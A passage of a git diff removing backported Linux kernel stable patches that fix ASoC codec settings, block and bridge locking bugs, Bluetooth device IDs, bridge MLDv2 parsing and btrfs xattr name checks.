"intel,lubbock-cplds-irqs", }, -+ { .compatible = "intel,mainstone-cplds-irqs", }, -+ { } -+}; -+MODULE_DEVICE_TABLE(of, cplds_id_table); -+ -+static struct platform_driver cplds_driver = { -+ .driver = { -+ .name = "pxa_cplds_irqs", -+ .of_match_table = of_match_ptr(cplds_id_table), -+ }, -+ .probe = cplds_probe, -+ .remove = cplds_remove, -+ .resume = cplds_resume, -+}; -+ -+module_platform_driver(cplds_driver); -+ -+MODULE_DESCRIPTION("PXA Cplds interrupts driver"); -+MODULE_AUTHOR("Robert Jarzmik <robert.jarzmik@free.fr>"); -+MODULE_LICENSE("GPL"); diff --git a/patches/asoc-cs4271-increase-delay-time-after-reset.patch b/patches/asoc-cs4271-increase-delay-time-after-reset.patch deleted file mode 100644 index 8751abc..0000000 --- a/patches/asoc-cs4271-increase-delay-time-after-reset.patch +++ /dev/null @@ -1,35 +0,0 @@ -From 74ff960222d90999508b4ba0d3449f796695b6d5 Mon Sep 17 00:00:00 2001 -From: Pascal Huerst <pascal.huerst@gmail.com> -Date: Thu, 2 Apr 2015 10:17:40 +0200 -Subject: ASoC: cs4271: Increase delay time after reset - -commit 74ff960222d90999508b4ba0d3449f796695b6d5 upstream. - -The delay time after a reset in the codec probe callback was too short, -and did not work on certain hw because the codec needs more time to -power on. This increases the delay time from 1us to 1ms. - -Signed-off-by: Pascal Huerst <pascal.huerst@gmail.com> -Acked-by: Brian Austin <brian.austin@cirrus.com> -Signed-off-by: Mark Brown <broonie@kernel.org> -[lizf: Backported to 3.4: adjust context] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - sound/soc/codecs/cs4271.c | 4 ++-- - 1 file changed, 2 insertions(+), 2 deletions(-) - ---- a/sound/soc/codecs/cs4271.c -+++ b/sound/soc/codecs/cs4271.c -@@ -475,10 +475,10 @@ static int cs4271_probe(struct snd_soc_c - if (gpio_nreset >= 0) { - /* Reset codec */ - gpio_direction_output(gpio_nreset, 0); -- udelay(1); -+ mdelay(1); - gpio_set_value(gpio_nreset, 1); - /* Give the codec time to wake up */ -- udelay(1); -+ mdelay(1); - } - - cs4271->gpio_nreset = gpio_nreset; diff --git a/patches/asoc-wm8741-fix-rates-constraints-values.patch b/patches/asoc-wm8741-fix-rates-constraints-values.patch deleted file mode 100644 index 09e4b06..0000000 --- a/patches/asoc-wm8741-fix-rates-constraints-values.patch +++ /dev/null @@ -1,61 +0,0 @@ -From 8787041d9bb832b9449b1eb878cedcebce42c61a Mon Sep 17 00:00:00 2001 -From: Sergej Sawazki <ce3a@gmx.de> -Date: Tue, 24 Mar 2015 21:13:22 +0100 -Subject: ASoC: wm8741: Fix rates constraints values - -commit 8787041d9bb832b9449b1eb878cedcebce42c61a upstream. - -The WM8741 DAC supports the following typical audio sampling rates: - 44.1kHz, 88.2kHz, 176.4kHz (eg: with a master clock of 22.5792MHz) - 32kHz, 48kHz, 96kHz, 192kHz (eg: with a master clock of 24.576MHz) - -For the rates lists, we should use 82000 instead of 88235, 176400 -instead of 1764000 and 192000 instead of 19200 (seems to be a typo). - -Signed-off-by: Sergej Sawazki <ce3a@gmx.de> -Acked-by: Charles Keepax <ckeepax@opensource.wolfsonmicro.com> -Signed-off-by: Mark Brown <broonie@kernel.org> -[lizf: Backported to 3.4: adjust context] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - sound/soc/codecs/wm8741.c | 8 ++++---- - 1 file changed, 4 insertions(+), 4 deletions(-) - ---- a/sound/soc/codecs/wm8741.c -+++ b/sound/soc/codecs/wm8741.c -@@ -105,7 +105,7 @@ static struct { - }; - - static unsigned int rates_11289[] = { -- 44100, 88235, -+ 44100, 88200, - }; - - static struct snd_pcm_hw_constraint_list constraints_11289 = { -@@ -132,7 +132,7 @@ static struct snd_pcm_hw_constraint_list - }; - - static unsigned int rates_16934[] = { -- 44100, 88235, -+ 44100, 88200, - }; - - static struct snd_pcm_hw_constraint_list constraints_16934 = { -@@ -150,7 +150,7 @@ static struct snd_pcm_hw_constraint_list - }; - - static unsigned int rates_22579[] = { -- 44100, 88235, 1764000 -+ 44100, 88200, 176400 - }; - - static struct snd_pcm_hw_constraint_list constraints_22579 = { -@@ -168,7 +168,7 @@ static struct snd_pcm_hw_constraint_list - }; - - static unsigned int rates_36864[] = { -- 48000, 96000, 19200 -+ 48000, 96000, 192000 - }; - - static struct snd_pcm_hw_constraint_list constraints_36864 = { diff --git a/patches/asoc-wm8960-fix-rinput3-audio-route-error.patch b/patches/asoc-wm8960-fix-rinput3-audio-route-error.patch deleted file mode 100644 index 556d3d6..0000000 --- a/patches/asoc-wm8960-fix-rinput3-audio-route-error.patch +++ /dev/null @@ -1,29 +0,0 @@ -From 85e36a1f4a735d991ba5106781ea48e89a0b8901 Mon Sep 17 00:00:00 2001 -From: Zidan Wang <zidan.wang@freescale.com> -Date: Tue, 12 May 2015 14:58:36 +0800 -Subject: ASoC: wm8960: fix "RINPUT3" audio route error - -commit 85e36a1f4a735d991ba5106781ea48e89a0b8901 upstream. - -It should be "RINPUT3" instead of "LINPUT3" route to "Right Input -Mixer". - -Signed-off-by: Zidan Wang <zidan.wang@freescale.com> -Acked-by: Charles Keepax <ckeepax@opensource.wolfsonmicro.com> -Signed-off-by: Mark Brown <broonie@kernel.org> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - sound/soc/codecs/wm8960.c | 2 +- - 1 file changed, 1 insertion(+), 1 deletion(-) - ---- a/sound/soc/codecs/wm8960.c -+++ b/sound/soc/codecs/wm8960.c -@@ -333,7 +333,7 @@ static const struct snd_soc_dapm_route a - { "Right Input Mixer", "Boost Switch", "Right Boost Mixer", }, - { "Right Input Mixer", NULL, "RINPUT1", }, /* Really Boost Switch */ - { "Right Input Mixer", NULL, "RINPUT2" }, -- { "Right Input Mixer", NULL, "LINPUT3" }, -+ { "Right Input Mixer", NULL, "RINPUT3" }, - - { "Left ADC", NULL, "Left Input Mixer" }, - { "Right ADC", NULL, "Right Input Mixer" }, diff --git a/patches/asoc-wm8994-correct-bclk-div-348-to-384.patch b/patches/asoc-wm8994-correct-bclk-div-348-to-384.patch deleted file mode 100644 index c89ef19..0000000 --- a/patches/asoc-wm8994-correct-bclk-div-348-to-384.patch +++ /dev/null @@ -1,29 +0,0 @@ -From 17fc2e0a3db11889e942c5ab15a1fcb876638f25 Mon Sep 17 00:00:00 2001 -From: Zidan Wang <zidan.wang@freescale.com> -Date: Tue, 12 May 2015 14:58:50 +0800 -Subject: ASoC: wm8994: correct BCLK DIV 348 to 384 - -commit 17fc2e0a3db11889e942c5ab15a1fcb876638f25 upstream. - -According to the RM of wm8958, BCLK DIV 348 doesn't exist, correct it -to 384. - -Signed-off-by: Zidan Wang <zidan.wang@freescale.com> -Acked-by: Charles Keepax <ckeepax@opensource.wolfsonmicro.com> -Signed-off-by: Mark Brown <broonie@kernel.org> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - sound/soc/codecs/wm8994.c | 2 +- - 1 file changed, 1 insertion(+), 1 deletion(-) - ---- a/sound/soc/codecs/wm8994.c -+++ b/sound/soc/codecs/wm8994.c -@@ -2636,7 +2636,7 @@ static struct { - }; - - static int fs_ratios[] = { -- 64, 128, 192, 256, 348, 512, 768, 1024, 1408, 1536 -+ 64, 128, 192, 256, 384, 512, 768, 1024, 1408, 1536 - }; - - static int bclk_divs[] = { diff --git a/patches/block-fix-ext_dev_lock-lockdep-report.patch b/patches/block-fix-ext_dev_lock-lockdep-report.patch deleted file mode 100644 index 5c6abe0..0000000 --- a/patches/block-fix-ext_dev_lock-lockdep-report.patch +++ /dev/null @@ -1,101 +0,0 @@ -From 4d66e5e9b6d720d8463e11d027bd4ad91c8b1318 Mon Sep 17 00:00:00 2001 -From: Dan Williams <dan.j.williams@intel.com> -Date: Wed, 10 Jun 2015 23:47:14 -0400 -Subject: block: fix ext_dev_lock lockdep report - -commit 4d66e5e9b6d720d8463e11d027bd4ad91c8b1318 upstream. - - ================================= - [ INFO: inconsistent lock state ] - 4.1.0-rc7+ #217 Tainted: G O - --------------------------------- - inconsistent {SOFTIRQ-ON-W} -> {IN-SOFTIRQ-W} usage. - swapper/6/0 [HC0[0]:SC1[1]:HE1:SE0] takes: - (ext_devt_lock){+.?...}, at: [<ffffffff8143a60c>] blk_free_devt+0x3c/0x70 - {SOFTIRQ-ON-W} state was registered at: - [<ffffffff810bf6b1>] __lock_acquire+0x461/0x1e70 - [<ffffffff810c1947>] lock_acquire+0xb7/0x290 - [<ffffffff818ac3a8>] _raw_spin_lock+0x38/0x50 - [<ffffffff8143a07d>] blk_alloc_devt+0x6d/0xd0 <-- take the lock in process context -[..] - [<ffffffff810bf64e>] __lock_acquire+0x3fe/0x1e70 - [<ffffffff810c00ad>] ? __lock_acquire+0xe5d/0x1e70 - [<ffffffff810c1947>] lock_acquire+0xb7/0x290 - [<ffffffff8143a60c>] ? blk_free_devt+0x3c/0x70 - [<ffffffff818ac3a8>] _raw_spin_lock+0x38/0x50 - [<ffffffff8143a60c>] ? blk_free_devt+0x3c/0x70 - [<ffffffff8143a60c>] blk_free_devt+0x3c/0x70 <-- take the lock in softirq - [<ffffffff8143bfec>] part_release+0x1c/0x50 - [<ffffffff8158edf6>] device_release+0x36/0xb0 - [<ffffffff8145ac2b>] kobject_cleanup+0x7b/0x1a0 - [<ffffffff8145aad0>] kobject_put+0x30/0x70 - [<ffffffff8158f147>] put_device+0x17/0x20 - [<ffffffff8143c29c>] delete_partition_rcu_cb+0x16c/0x180 - [<ffffffff8143c130>] ? read_dev_sector+0xa0/0xa0 - [<ffffffff810e0e0f>] rcu_process_callbacks+0x2ff/0xa90 - [<ffffffff810e0dcf>] ? rcu_process_callbacks+0x2bf/0xa90 - [<ffffffff81067e2e>] __do_softirq+0xde/0x600 - -Neil sees this in his tests and it also triggers on pmem driver unbind -for the libnvdimm tests. This fix is on top of an initial fix by Keith -for incorrect usage of mutex_lock() in this path: 2da78092dda1 "block: -Fix dev_t minor allocation lifetime". Both this and 2da78092dda1 are -candidates for -stable. - -Fixes: 2da78092dda1 ("block: Fix dev_t minor allocation lifetime") -Cc: Keith Busch <keith.busch@intel.com> -Reported-by: NeilBrown <neilb@suse.de> -Signed-off-by: Dan Williams <dan.j.williams@intel.com> -Signed-off-by: Jens Axboe <axboe@fb.com> -[lizf: Backported to 3.4: adjust context] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - block/genhd.c | 12 ++++++------ - 1 file changed, 6 insertions(+), 6 deletions(-) - ---- a/block/genhd.c -+++ b/block/genhd.c -@@ -420,13 +420,13 @@ int blk_alloc_devt(struct hd_struct *par - do { - if (!idr_pre_get(&ext_devt_idr, GFP_KERNEL)) - return -ENOMEM; -- spin_lock(&ext_devt_lock); -+ spin_lock_bh(&ext_devt_lock); - rc = idr_get_new(&ext_devt_idr, part, &idx); - if (!rc && idx >= NR_EXT_DEVT) { - idr_remove(&ext_devt_idr, idx); - rc = -EBUSY; - } -- spin_unlock(&ext_devt_lock); -+ spin_unlock_bh(&ext_devt_lock); - } while (rc == -EAGAIN); - - if (rc) -@@ -451,9 +451,9 @@ void blk_free_devt(dev_t devt) - return; - - if (MAJOR(devt) == BLOCK_EXT_MAJOR) { -- spin_lock(&ext_devt_lock); -+ spin_lock_bh(&ext_devt_lock); - idr_remove(&ext_devt_idr, blk_mangle_minor(MINOR(devt))); -- spin_unlock(&ext_devt_lock); -+ spin_unlock_bh(&ext_devt_lock); - } - } - -@@ -684,13 +684,13 @@ struct gendisk *get_gendisk(dev_t devt, - } else { - struct hd_struct *part; - -- spin_lock(&ext_devt_lock); -+ spin_lock_bh(&ext_devt_lock); - part = idr_find(&ext_devt_idr, blk_mangle_minor(MINOR(devt))); - if (part && get_disk(part_to_disk(part))) { - *partno = part->partno; - disk = part_to_disk(part); - } -- spin_unlock(&ext_devt_lock); -+ spin_unlock_bh(&ext_devt_lock); - } - - return disk; diff --git a/patches/bluetooth-ath3k-add-support-atheros-ar5b195-combo-mini-pcie-card.patch b/patches/bluetooth-ath3k-add-support-atheros-ar5b195-combo-mini-pcie-card.patch deleted file mode 100644 index 023db2d..0000000 --- a/patches/bluetooth-ath3k-add-support-atheros-ar5b195-combo-mini-pcie-card.patch +++ /dev/null @@ -1,66 +0,0 @@ -From 2eeff0b4317a02f0e281df891d990194f0737aae Mon Sep 17 00:00:00 2001 -From: Alexander Ploumistos <alex.ploumistos@gmail.com> -Date: Fri, 13 Feb 2015 21:05:11 +0200 -Subject: Bluetooth: ath3k: Add support Atheros AR5B195 combo Mini PCIe card - -commit 2eeff0b4317a02f0e281df891d990194f0737aae upstream. - -Add 04f2:aff1 to ath3k.c supported devices list and btusb.c blacklist, so -that the device can load the ath3k firmware and re-enumerate itself as an -AR3011 device. - -T: Bus=05 Lev=01 Prnt=01 Port=00 Cnt=01 Dev#= 2 Spd=12 MxCh= 0 -D: Ver= 1.10 Cls=e0(wlcon) Sub=01 Prot=01 MxPS=64 #Cfgs= 1 -P: Vendor=04f2 ProdID=aff1 Rev= 0.01 -C:* #Ifs= 2 Cfg#= 1 Atr=e0 MxPwr=100mA -I:* If#= 0 Alt= 0 #EPs= 3 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb -E: Ad=81(I) Atr=03(Int.) MxPS= 16 Ivl=1ms -E: Ad=82(I) Atr=02(Bulk) MxPS= 64 Ivl=0ms -E: Ad=02(O) Atr=02(Bulk) MxPS= 64 Ivl=0ms -I:* If#= 1 Alt= 0 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb -E: Ad=83(I) Atr=01(Isoc) MxPS= 0 Ivl=1ms -E: Ad=03(O) Atr=01(Isoc) MxPS= 0 Ivl=1ms -I: If#= 1 Alt= 1 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb -E: Ad=83(I) Atr=01(Isoc) MxPS= 9 Ivl=1ms -E: Ad=03(O) Atr=01(Isoc) MxPS= 9 Ivl=1ms -I: If#= 1 Alt= 2 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb -E: Ad=83(I) Atr=01(Isoc) MxPS= 17 Ivl=1ms -E: Ad=03(O) Atr=01(Isoc) MxPS= 17 Ivl=1ms -I: If#= 1 Alt= 3 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb -E: Ad=83(I) Atr=01(Isoc) MxPS= 25 Ivl=1ms -E: Ad=03(O) Atr=01(Isoc) MxPS= 25 Ivl=1ms -I: If#= 1 Alt= 4 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb -E: Ad=83(I) Atr=01(Isoc) MxPS= 33 Ivl=1ms -E: Ad=03(O) Atr=01(Isoc) MxPS= 33 Ivl=1ms -I: If#= 1 Alt= 5 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb -E: Ad=83(I) Atr=01(Isoc) MxPS= 49 Ivl=1ms -E: Ad=03(O) Atr=01(Isoc) MxPS= 49 Ivl=1ms - -Signed-off-by: Alexander Ploumistos <alexpl@fedoraproject.org> -Signed-off-by: Marcel Holtmann <marcel@holtmann.org> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/bluetooth/ath3k.c | 1 + - drivers/bluetooth/btusb.c | 1 + - 2 files changed, 2 insertions(+) - ---- a/drivers/bluetooth/ath3k.c -+++ b/drivers/bluetooth/ath3k.c -@@ -64,6 +64,7 @@ static struct usb_device_id ath3k_table[ - /* Atheros AR3011 with sflash firmware*/ - { USB_DEVICE(0x0489, 0xE027) }, - { USB_DEVICE(0x0489, 0xE03D) }, -+ { USB_DEVICE(0x04F2, 0xAFF1) }, - { USB_DEVICE(0x0930, 0x0215) }, - { USB_DEVICE(0x0CF3, 0x3002) }, - { USB_DEVICE(0x0CF3, 0xE019) }, ---- a/drivers/bluetooth/btusb.c -+++ b/drivers/bluetooth/btusb.c -@@ -142,6 +142,7 @@ static struct usb_device_id blacklist_ta - /* Atheros 3011 with sflash firmware */ - { USB_DEVICE(0x0489, 0xe027), .driver_info = BTUSB_IGNORE }, - { USB_DEVICE(0x0489, 0xe03d), .driver_info = BTUSB_IGNORE }, -+ { USB_DEVICE(0x04f2, 0xaff1), .driver_info = BTUSB_IGNORE }, - { USB_DEVICE(0x0930, 0x0215), .driver_info = BTUSB_IGNORE }, - { USB_DEVICE(0x0cf3, 0x3002), .driver_info = BTUSB_IGNORE }, - { USB_DEVICE(0x0cf3, 0xe019), .driver_info = BTUSB_IGNORE }, diff --git a/patches/bridge-disable-softirqs-around-br_fdb_update-to-avoid-lockup.patch b/patches/bridge-disable-softirqs-around-br_fdb_update-to-avoid-lockup.patch deleted file mode 100644 index 6b91fd3..0000000 --- a/patches/bridge-disable-softirqs-around-br_fdb_update-to-avoid-lockup.patch +++ /dev/null @@ -1,45 +0,0 @@ -From c4c832f89dc468cf11dc0dd17206bace44526651 Mon Sep 17 00:00:00 2001 -From: Nikolay Aleksandrov <nikolay@cumulusnetworks.com> -Date: Sat, 6 Jun 2015 06:49:00 -0700 -Subject: bridge: disable softirqs around br_fdb_update to avoid lockup - -commit c4c832f89dc468cf11dc0dd17206bace44526651 upstream. - -br_fdb_update() can be called in process context in the following way: -br_fdb_add() -> __br_fdb_add() -> br_fdb_update() (if NTF_USE flag is set) -so we need to disable softirqs because there are softirq users of the -hash_lock. One easy way to reproduce this is to modify the bridge utility -to set NTF_USE, enable stp and then set maxageing to a low value so -br_fdb_cleanup() is called frequently and then just add new entries in -a loop. This happens because br_fdb_cleanup() is called from timer/softirq -context. The spin locks in br_fdb_update were _bh before commit f8ae737deea1 -("[BRIDGE]: forwarding remove unneeded preempt and bh diasables") -and at the time that commit was correct because br_fdb_update() couldn't be -called from process context, but that changed after commit: -292d1398983f ("bridge: add NTF_USE support") -Using local_bh_disable/enable around br_fdb_update() allows us to keep -using the spin_lock/unlock in br_fdb_update for the fast-path. - -Signed-off-by: Nikolay Aleksandrov <nikolay@cumulusnetworks.com> -Fixes: 292d1398983f ("bridge: add NTF_USE support") -Signed-off-by: David S. Miller <davem@davemloft.net> -[lizf: Backported to 3.4: adjust context] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - net/bridge/br_fdb.c | 2 ++ - 1 file changed, 2 insertions(+) - ---- a/net/bridge/br_fdb.c -+++ b/net/bridge/br_fdb.c -@@ -665,9 +665,11 @@ int br_fdb_add(struct sk_buff *skb, stru - } - - if (ndm->ndm_flags & NTF_USE) { -+ local_bh_disable(); - rcu_read_lock(); - br_fdb_update(p->br, p, addr); - rcu_read_unlock(); -+ local_bh_enable(); - } else { - spin_lock_bh(&p->br->hash_lock); - err = fdb_add_entry(p, addr, ndm->ndm_state, nlh->nlmsg_flags); diff --git a/patches/bridge-fix-multicast-router-rlist-endless-loop.patch b/patches/bridge-fix-multicast-router-rlist-endless-loop.patch deleted file mode 100644 index a940097..0000000 --- a/patches/bridge-fix-multicast-router-rlist-endless-loop.patch +++ /dev/null @@ -1,56 +0,0 @@ -From 1a040eaca1a22f8da8285ceda6b5e4a2cb704867 Mon Sep 17 00:00:00 2001 -From: Nikolay Aleksandrov <razor@blackwall.org> -Date: Tue, 9 Jun 2015 10:23:57 -0700 -Subject: bridge: fix multicast router rlist endless loop - -commit 1a040eaca1a22f8da8285ceda6b5e4a2cb704867 upstream. - -Since the addition of sysfs multicast router support if one set -multicast_router to "2" more than once, then the port would be added to -the hlist every time and could end up linking to itself and thus causing an -endless loop for rlist walkers. -So to reproduce just do: -echo 2 > multicast_router; echo 2 > multicast_router; -in a bridge port and let some igmp traffic flow, for me it hangs up -in br_multicast_flood(). -Fix this by adding a check in br_multicast_add_router() if the port is -already linked. -The reason this didn't happen before the addition of multicast_router -sysfs entries is because there's a !hlist_unhashed check that prevents -it. - -Signed-off-by: Nikolay Aleksandrov <razor@blackwall.org> -Fixes: 0909e11758bd ("bridge: Add multicast_router sysfs entries") -Acked-by: Herbert Xu <herbert@gondor.apana.org.au> -Signed-off-by: David S. Miller <davem@davemloft.net> -[lizf: Backported to 3.4: adjust context] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - net/bridge/br_multicast.c | 7 +++---- - 1 file changed, 3 insertions(+), 4 deletions(-) - ---- a/net/bridge/br_multicast.c -+++ b/net/bridge/br_multicast.c -@@ -991,6 +991,9 @@ static void br_multicast_add_router(stru - struct net_bridge_port *p; - struct hlist_node *n, *slot = NULL; - -+ if (!hlist_unhashed(&port->rlist)) -+ return; -+ - hlist_for_each_entry(p, n, &br->router_list, rlist) { - if ((unsigned long) port >= (unsigned long) p) - break; -@@ -1018,12 +1021,8 @@ static void br_multicast_mark_router(str - if (port->multicast_router != 1) - return; - -- if (!hlist_unhashed(&port->rlist)) -- goto timer; -- - br_multicast_add_router(br, port); - --timer: - mod_timer(&port->multicast_router_timer, - now + br->multicast_querier_interval); - } diff --git a/patches/bridge-fix-parsing-of-mldv2-reports.patch b/patches/bridge-fix-parsing-of-mldv2-reports.patch deleted file mode 100644 index c5af918..0000000 --- a/patches/bridge-fix-parsing-of-mldv2-reports.patch +++ /dev/null @@ -1,61 +0,0 @@ -From 47cc84ce0c2fe75c99ea5963c4b5704dd78ead54 Mon Sep 17 00:00:00 2001 -From: Thadeu Lima de Souza Cascardo <cascardo@redhat.com> -Date: Fri, 22 May 2015 12:18:59 -0300 -Subject: bridge: fix parsing of MLDv2 reports - -commit 47cc84ce0c2fe75c99ea5963c4b5704dd78ead54 upstream. - -When more than a multicast address is present in a MLDv2 report, all but -the first address is ignored, because the code breaks out of the loop if -there has not been an error adding that address. - -This has caused failures when two guests connected through the bridge -tried to communicate using IPv6. Neighbor discoveries would not be -transmitted to the other guest when both used a link-local address and a -static address. - -This only happens when there is a MLDv2 querier in the network. - -The fix will only break out of the loop when there is a failure adding a -multicast address. - -The mdb before the patch: - -dev ovirtmgmt port vnet0 grp ff02::1:ff7d:6603 temp -dev ovirtmgmt port vnet1 grp ff02::1:ff7d:6604 temp -dev ovirtmgmt port bond0.86 grp ff02::2 temp - -After the patch: - -dev ovirtmgmt port vnet0 grp ff02::1:ff7d:6603 temp -dev ovirtmgmt port vnet1 grp ff02::1:ff7d:6604 temp -dev ovirtmgmt port bond0.86 grp ff02::fb temp -dev ovirtmgmt port bond0.86 grp ff02::2 temp -dev ovirtmgmt port bond0.86 grp ff02::d temp -dev ovirtmgmt port vnet0 grp ff02::1:ff00:76 temp -dev ovirtmgmt port bond0.86 grp ff02::16 temp -dev ovirtmgmt port vnet1 grp ff02::1:ff00:77 temp -dev ovirtmgmt port bond0.86 grp ff02::1:ff00:def temp -dev ovirtmgmt port bond0.86 grp ff02::1:ffa1:40bf temp - -Fixes: 08b202b67264 ("bridge br_multicast: IPv6 MLD support.") -Reported-by: Rik Theys <Rik.Theys@esat.kuleuven.be> -Signed-off-by: Thadeu Lima de Souza Cascardo <cascardo@redhat.com> -Tested-by: Rik Theys <Rik.Theys@esat.kuleuven.be> -Signed-off-by: David S. Miller <davem@davemloft.net> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - net/bridge/br_multicast.c | 2 +- - 1 file changed, 1 insertion(+), 1 deletion(-) - ---- a/net/bridge/br_multicast.c -+++ b/net/bridge/br_multicast.c -@@ -972,7 +972,7 @@ static int br_ip6_multicast_mld2_report( - } - - err = br_ip6_multicast_add_group(br, port, &grec->grec_mca); -- if (!err) -+ if (err) - break; - } - diff --git a/patches/bridge-superfluous-skb-nfct-check-in-br_nf_dev_queue_xmit.patch b/patches/bridge-superfluous-skb-nfct-check-in-br_nf_dev_queue_xmit.patch deleted file mode 100644 index ed98d49..0000000 --- a/patches/bridge-superfluous-skb-nfct-check-in-br_nf_dev_queue_xmit.patch +++ /dev/null @@ -1,48 +0,0 @@ -From aff09ce303f83bd370772349238482ae422a2341 Mon Sep 17 00:00:00 2001 -From: Vasily Averin <vvs@parallels.com> -Date: Mon, 5 May 2014 00:17:48 +0400 -Subject: bridge: superfluous skb->nfct check in br_nf_dev_queue_xmit - -commit aff09ce303f83bd370772349238482ae422a2341 upstream. - -Currently bridge can silently drop ipv4 fragments. -If node have loaded nf_defrag_ipv4 module but have no nf_conntrack_ipv4, -br_nf_pre_routing defragments incoming ipv4 fragments -but nfct check in br_nf_dev_queue_xmit does not allow re-fragment combined -packet back, and therefore it is dropped in br_dev_queue_push_xmit without -incrementing of any failcounters - -It seems the only way to hit the ip_fragment code in the bridge xmit -path is to have a fragment list whose reassembled fragments go over -the mtu. This only happens if nf_defrag is enabled. Thanks to -Florian Westphal for providing feedback to clarify this. - -Defragmentation ipv4 is required not only in conntracks but at least in -TPROXY target and socket match, therefore #ifdef is changed from -NF_CONNTRACK_IPV4 to NF_DEFRAG_IPV4 - -Signed-off-by: Vasily Averin <vvs@openvz.org> -Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org> -Cc: Kirill Tkhai <ktkhai@odin.com> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - net/bridge/br_netfilter.c | 4 ++-- - 1 file changed, 2 insertions(+), 2 deletions(-) - ---- a/net/bridge/br_netfilter.c -+++ b/net/bridge/br_netfilter.c -@@ -818,12 +818,12 @@ static unsigned int br_nf_forward_arp(un - return NF_STOLEN; - } - --#if IS_ENABLED(CONFIG_NF_CONNTRACK_IPV4) -+#if IS_ENABLED(CONFIG_NF_DEFRAG_IPV4) - static int br_nf_dev_queue_xmit(struct sk_buff *skb) - { - int ret; - -- if (skb->nfct != NULL && skb->protocol == htons(ETH_P_IP) && -+ if (skb->protocol == htons(ETH_P_IP) && - skb->len + nf_bridge_mtu_reduction(skb) > skb->dev->mtu && - !skb_is_gso(skb)) { - if (br_parse_ip_options(skb)) diff --git a/patches/bridge-use-_bh-spinlock-variant-for-br_fdb_update-to-avoid-lockup.patch b/patches/bridge-use-_bh-spinlock-variant-for-br_fdb_update-to-avoid-lockup.patch deleted file mode 100644 index 9234a38..0000000 --- a/patches/bridge-use-_bh-spinlock-variant-for-br_fdb_update-to-avoid-lockup.patch +++ /dev/null @@ -1,50 +0,0 @@ -From 1d7c49037b12016e7056b9f2c990380e2187e766 Mon Sep 17 00:00:00 2001 -From: Wilson Kok <wkok@cumulusnetworks.com> -Date: Fri, 5 Jun 2015 00:52:57 -0700 -Subject: bridge: use _bh spinlock variant for br_fdb_update to avoid lockup - -commit 1d7c49037b12016e7056b9f2c990380e2187e766 upstream. - -br_fdb_update() can be called in process context in the following way: -br_fdb_add() -> __br_fdb_add() -> br_fdb_update() (if NTF_USE flag is set) -so we need to use spin_lock_bh because there are softirq users of the -hash_lock. One easy way to reproduce this is to modify the bridge utility -to set NTF_USE, enable stp and then set maxageing to a low value so -br_fdb_cleanup() is called frequently and then just add new entries in -a loop. This happens because br_fdb_cleanup() is called from timer/softirq -context. These locks were _bh before commit f8ae737deea1 -("[BRIDGE]: forwarding remove unneeded preempt and bh diasables") -and at the time that commit was correct because br_fdb_update() couldn't be -called from process context, but that changed after commit: -292d1398983f ("bridge: add NTF_USE support") - -Signed-off-by: Wilson Kok <wkok@cumulusnetworks.com> -Signed-off-by: Nikolay Aleksandrov <nikolay@cumulusnetworks.com> -Fixes: 292d1398983f ("bridge: add NTF_USE support") -Signed-off-by: David S. Miller <davem@davemloft.net> -[lizf: Backported to 3.4: adjust context] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - net/bridge/br_fdb.c | 4 ++-- - 1 file changed, 2 insertions(+), 2 deletions(-) - ---- a/net/bridge/br_fdb.c -+++ b/net/bridge/br_fdb.c -@@ -440,7 +440,7 @@ void br_fdb_update(struct net_bridge *br - fdb->updated = jiffies; - } - } else { -- spin_lock(&br->hash_lock); -+ spin_lock_bh(&br->hash_lock); - if (likely(!fdb_find(head, addr))) { - fdb = fdb_create(head, source, addr); - if (fdb) -@@ -449,7 +449,7 @@ void br_fdb_update(struct net_bridge *br - /* else we lose race and someone else inserts - * it first, don't bother updating - */ -- spin_unlock(&br->hash_lock); -+ spin_unlock_bh(&br->hash_lock); - } - } - diff --git a/patches/btrfs-don-t-accept-bare-namespace-as-a-valid-xattr.patch b/patches/btrfs-don-t-accept-bare-namespace-as-a-valid-xattr.patch deleted file mode 100644 index eeeaf94..0000000 --- a/patches/btrfs-don-t-accept-bare-namespace-as-a-valid-xattr.patch +++ /dev/null @@ -1,130 +0,0 @@ -From 3c3b04d10ff1811a27f86684ccd2f5ba6983211d Mon Sep 17 00:00:00 2001 -From: David Sterba <dsterba@suse.cz> -Date: Wed, 25 Mar 2015 19:26:41 +0100 -Subject: btrfs: don't accept bare namespace as a valid xattr - -commit 3c3b04d10ff1811a27f86684ccd2f5ba6983211d upstream. - -Due to insufficient check in btrfs_is_valid_xattr, this unexpectedly -works: - - $ touch file - $ setfattr -n user. -v 1 file - $ getfattr -d file -user.="1" - -ie. the missing attribute name after the namespace. - -Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=94291 -Reported-by: William Douglas <william.douglas@intel.com> -Signed-off-by: David Sterba <dsterba@suse.cz> -Signed-off-by: Chris Mason <clm@fb.com> -[lizf: Backported to 3.4: - - 3.4 doesn't support XATTR_BTRFS_PREFIX] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - fs/btrfs/xattr.c | 50 +++++++++++++++++++++++++++++++++++++------------- - 1 file changed, 37 insertions(+), 13 deletions(-) - ---- a/fs/btrfs/xattr.c -+++ b/fs/btrfs/xattr.c -@@ -310,21 +310,40 @@ const struct xattr_handler *btrfs_xattr_ - /* - * Check if the attribute is in a supported namespace. - * -- * This applied after the check for the synthetic attributes in the system -+ * This is applied after the check for the synthetic attributes in the system - * namespace. - */ --static bool btrfs_is_valid_xattr(const char *name) -+static int btrfs_is_valid_xattr(const char *name) - { -- return 